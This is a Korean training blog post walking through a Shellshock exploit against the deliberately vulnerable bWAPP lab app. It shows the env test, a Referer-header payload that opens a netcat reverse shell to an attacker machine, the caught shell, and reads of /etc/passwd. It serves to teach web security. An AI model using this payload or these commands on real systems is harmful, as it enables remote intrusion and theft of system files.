정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08

웹 해킹 bWAPP - 109. A9 - Using Known Vulnerable Components - Shellshock Vulnerability(CGI)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Using Known Vulnerable Components

 

 - OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용

 - 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이

   가능한 취약점이다.

 

 

 

2. Shellshock Vulnerability(CGI)

 

 - Bash Shell : 사용자가 CLI 기반에서 명령어를 입력하면 운영체제가 이에 대응하는 동작하게 하는 명령어 해석기이다.

 - Bash Shell Bug : Bash로 해당 명령을 실행했을때, 그에 대응하는 결과 뿐만 아니라, 다른 결과까지 실행되는 버그이다.

 - Bash Shell Bug 관련 기사

 

http://www.edaily.co.kr/news/NewsRead.edy?SCD=JE41&newsid=01387446606224712&DCD=A00504&OutLnkChk=Y

http://www.ddaily.co.kr/news/article.html?no=122932

 

 

 - exploit-db 사이트(https://www.exploit-db.com/)를 이용하여 Bash Shell Bug 관련된 내용을 찾아보도록 한다.

 

 

 

 

바로가기 : https://www.exploit-db.com/exploits/34765

Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
 
Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:
 
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test

 
The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to:
 
 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test

 

 

 

 

env x='() { :;}; 명령어는 함수를 이용한 환경변수 설정의 기본 형식이다. 만약, 명령어 끝나는 ; 뒤에 명령어는 오류가 발생하거나, 실행되지 않는게 원칙이다. 다음과 같이 테스트를 실시한다.

 

 

bee@bee-box:/var/www/bWAPP$ env x='() { :;}; echo cisco' bash -c "echo this is a test"
cisco
this is a test

 

bee@bee-box:/var/www/bWAPP$ env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

~ 중간 생략 ~


 

 - 즉, env x='() {A;}' bash -c 'x' 라고 설정하면, x 명령은 A에 해당되는 결과만 제공한다.

 - 만약, env x='() {A;}; B' bash -c 'x' 라고 설정하면, x는 명령은 B에 해당되는 결과까지도 제공되는 문제가 발생한다.

 - Bash Shell Bug 취약점을 갖고 있는 대표적인 버전은 다음과 같다.

 

bash-4.2.45-5.el7_0.2    
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1    
bash-4.1.2-15.el6_4.1    
bash-3.2-33.el5.1   
bash-3.2-33.el5_11.1.sjis.1   
bash-3.2-24.el5_6.1   

bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2   
bash-3.0-27.el4.2

 

 

 - 현재 Bash 버전을 확인한다.

bee@bee-box:/var/www/bWAPP$ dpkg -l bash
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-f/Unpacked/Failed-cfg/Half-inst/t-aWait/T-pend
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  bash           3.2-0ubuntu16  The GNU Bourne Again SHell

 

 

 

3. Using Known Vulnerable Components - Shellshock Vulnerability(CGI)

 

 - 이 시나리오는 CGI가 발생하는 Referer에 쉘 쇼크 코드를 입력하여 리버스 쉘을 획득하는 내용이다.

 - 이때, 'shellsock.php'에서 'shellshock.sh' 페이지로 Referer될때 쉘 쇼크 코드를 입력해야 한다.

 

 

  

Ex1) Using Known Vulnerable Components - Shellshock Vulnerability(CGI)

 

 

보안 레벨 선택 및 시나리오 선택

 

 

'referer header'를 이용하라는 내용 확인

 

 

 

칼리에서 리버스 쉘 Listen 상태 실시

root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...

 

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

 

 주소창 새로 고침 실시

 

 

 

버프슈트 Intercept 내용 확인(URL이 'shellshock.sh'인지 확인)

 

 

 

109-0. 쉘 쇼크 취약점 코드.txt

Referer 내용 변경

GET /bWAPP/cgi-bin/shellshock.sh HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/shellshock.php  <- 기존 내용

 

Referer: () { :;}; echo "Shellshock Vulnerability TEST" $(/bin/sh -c "nc -e /bin/bash 192.168.20.50 4444")

 <- 변경 내용

 

Cookie: PHPSESSID=c486e47650fc98339c687404b2aca53f; security_level=0

Connection: close

Upgrade-Insecure-Requests: 1

 

 

 

 

Referer 내용 확인 및 'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인 

 

 

 

칼리에서 리버스 쉘 연결 상태 확인

root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.205] 40141

 

whoami
www-data

 

pwd
/usr/lib/cgi-bin

 

python -c 'import pty;pty.spawn("/bin/bash")'


www-data@bee-box:/usr/lib/cgi-bin$

www-data@bee-box:/usr/lib/cgi-bin$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
~ 중간 생략 ~

 

 

www-data@bee-box:/usr/lib/cgi-bin$ (Ctrl+c)
root@kali:~#

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 109. A9 - bWAPP Using Known Vulnerable Components - Shellshock Vulnerability(CGI)


https://youtu.be/RTx_1XDJScA



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q